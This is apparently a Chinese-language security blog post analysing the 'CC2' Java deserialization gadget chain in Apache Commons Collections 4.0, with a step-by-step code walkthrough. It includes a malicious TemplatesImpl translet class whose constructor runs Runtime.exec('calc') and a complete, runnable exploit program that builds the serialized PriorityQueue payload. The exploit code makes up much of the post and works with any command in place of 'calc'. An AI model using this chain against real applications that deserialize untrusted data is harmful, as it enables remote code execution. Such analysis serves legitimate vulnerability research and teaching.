看到commons-collections-4.0以上版本,直接想cc2这个链子

漏洞环境

jdk1.8

commons-collections-4.0

javassist(在靶机环境中不需要有javassist,只是我们生成恶意payload的过程中需要javassist动态类编程)

1
2
3
4
5
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>

为什么不能用commons-collections-3.1-3.2

在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

并且也采取了一下新的利用类PriorityQueue 和 TransformingComparator。通过 PriorityQueue 做为入口点,TransformingComparator 作为跳板去触发利用链。

调用链

其中一些细节没有加上,比如PriorityQueue类内部的一些方法调用

1
2
3
4
5
6
7
8
9
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer
Method.invoke()
Runtime.exec()

前置知识

javassist动态编程

Javassist动态编程 | Sk1y’s Blog (sk1y233.github.io)

cc2分析

被调用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Rome;//calc1.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class calc1 extends AbstractTranslet {

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) {
System.out.println(1);
}
public calc1() throws Exception{
super();
Runtime.getRuntime().exec("calc");
}
}

TemplatesImpl.newTransformer

这条链的最终执行命令的地方是TemplatesImpl执行字节码,TemplatesImpl类内的链子

1
2
3
4
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()

然后看谁调用了newTransformer()

image-20221102101049376

对应的代码,获取恶意类字节码,并且赋值给_bytecodes,同时需要给_name赋值任意字符串,满足过程中的判断条件

1
2
3
4
5
6
7
8
9
10
11
12
        // 第一部分:使用ClassPool获取恶意类的字节码,恶意类中静态代码块就是我们可以执行的命令
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("Rome.calc1"); //弹计算器
// CtClass ctClass = classPool.getCtClass("cc2.Evil"); //不出网
byte[] bytes = ctClass.toBytecode();

// 第二部分:反射创建TemplatesImpl实例
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
setFieldValue(TemplatesImpl_instance,"_bytecodes",new byte[][]{bytes}); //给_bytecodes属性赋值
setFieldValue(TemplatesImpl_instance,"_name","sk1y"); // 给_name属性赋值

InvokerTransformer.transform

根据之前分析CC1的链子,在InvokerTransformer类中有一个transform方法会根据传入的iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法,且这三个参数可控,所以可以通过InvokerTransformer.transform去调用TemplatesImpl.newTransformer

image-20221102101350551

因为该newTransformer是无参方法,所以iMethodName和iParamTypes都是空的

1
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

发现InvokerTransformer类中的transform方法是通过实现Transformer接口来的,因此下一步的思路就是查找哪些类调用了Transformer接口的transform方法并且还实现了Serializable接口

image-20221102103742357

对应代码

1
2
// 因为是无参方法newTransformer,所以参数类型和参数值都不用设置
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

最后找到TransformingComparator类

TransformingComparator.compare

该方法调用了transformer属性的transform方法,并且decorated和transformer属性是可控的,可以通过反射进行赋值

image-20221102114316462

对应代码

1
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

然后怎么调用TransformingComparator.compare(obj1,obj2)呢?其中obj1和obj2是恶意类字节码

PriorityQueue.readObject

PriorityQueue类内部的调用链

1
2
3
4
5
PriorityQueue.readObject
-->PriorityQueue.heapify
-->PriorityQueue.siftDown
-->PriorityQueue.siftDownUsingComparator
-->PriorityQueue.comparator.compare()

这里就要借助jdk中的PriorityQueue集合了,PriorityQueue是一个优先队列,每次排序都会触发comparator比较器的compare方法,并且PriorityQueue还重写了readObject方法

我们分析一下PriorityQueue的readObject方法

readObject方法将数据还原为java对象,存放于queue数组,接着调用heapify()

image-20221102145543042

跟进heapify,将queue作为参数调用siftDown()函数

image-20221102145740389

跟进siftDown,判断属性comparator是否存在,存在则调用siftDownUsingComparator方法,不存在则调用siftDownComparable方法

image-20221102145818475

其中siftDownUsingComparator方法经过一点判断之后,会调用comparator.compare方法

image-20221102150118084

而siftDownComparable方法会生成一个Comparable比较器并调用compareTo方法

image-20221102150710222

在siftDownUsingComparator方法中,我们可以通过反射控制属性comparator为TransformingComparator类对象,接着调用compare函数,那么就需要使用反射将queue属性赋值为TemplatesImpl对象数组

对应的代码

1
2
3
4
5
6
PriorityQueue priorityQueue = new PriorityQueue(2);
//让size增加
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(priorityQueue,"comparator",transformingComparator); //给comparator赋值
setFieldValue(priorityQueue,"queue",new Object[]{TemplatesImpl_instance , TemplatesImpl_instance});

调试分析

之前是逆向着去分析应该调用什么类,现在正向执行去看看调用中的一些细节

PriorityQueue类中最后调用TemplatesImpl.compare方法

image-20221102203529215

到comparea方法,调用transform方法,这里的obj1和obj2是一样的,我们都将其赋值为恶意类

image-20221102203544637

进入InvokerTransformer类的transform方法,发现反射调用TemplatesImpl类的newTransformer方法,没有参数,所以iArgs为null,可以发现我们代码中调用构造函数那里对应参数也是null

image-20221102203633100

跟进去看看TemplatesImpl类内部的调用,newTransformer方法中调用getTransletInstance

image-20221102204858509

跟进,会判断_name是否为空,这也是之前对_name赋值的原因,然后当_class为空的时候,调用defineTransletClasses对_class复制

image-20221102204944177

跟进,可以发现调用了defineClass对_class赋值

image-20221102205222579

然后对_class对应的类进行实例化,也就是我们恶意类,实例化会将静态代码块中的代码实现

image-20221102205616941

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package cc2;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class cc2 {
public static void main(String[] args) throws Exception {

// 第一部分:使用ClassPool获取恶意类的字节码,恶意类中静态代码块就是我们可以执行的命令
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("Rome.calc1"); //弹计算器
// CtClass ctClass = classPool.getCtClass("cc2.Evil"); //不出网
byte[] bytes = ctClass.toBytecode();

// 第二部分:反射创建TemplatesImpl实例
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
setFieldValue(TemplatesImpl_instance,"_bytecodes",new byte[][]{bytes}); //给_bytecodes属性赋值
setFieldValue(TemplatesImpl_instance,"_name","sk1y"); // 给_name属性赋值

// 第三部分:
// 因为是无参方法newTransformer,所以参数类型和参数值都不用设置
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

//PriorityQueue类对象构造
PriorityQueue priorityQueue = new PriorityQueue(2);
//让size增加
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(priorityQueue,"comparator",transformingComparator);
setFieldValue(priorityQueue,"queue",new Object[]{TemplatesImpl_instance , TemplatesImpl_instance});

// serialize(priorityQueue);
unserialize("ser.bin");
// 上面两行和下面的意思差不多,就是将序列化和反序列化封装了一下
// ByteArrayOutputStream barr = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(barr);
// oos.writeObject(priorityQueue);
// oos.close();
//
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object object = ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
//定义serialize方法
public static void serialize(Object obj)throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
//定义unserialize方法
public static Object unserialize(String Filename ) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename)));
Object obj = objectInputStream.readObject();
return obj;
}
}

运行结果

image-20221102202635937

参考链接

  1. Java安全之Javassist动态编程 - nice_0e3 - 博客园 (cnblogs.com)
  2. Java安全之Commons Collections2分析 - nice_0e3 - 博客园 (cnblogs.com)
  3. 8-java安全——java反序列化CC2链分析_songly_的博客-CSDN博客
  4. Java–cc2链反序列化漏洞&超级清晰详细 - Erichas - 博客园 (cnblogs.com)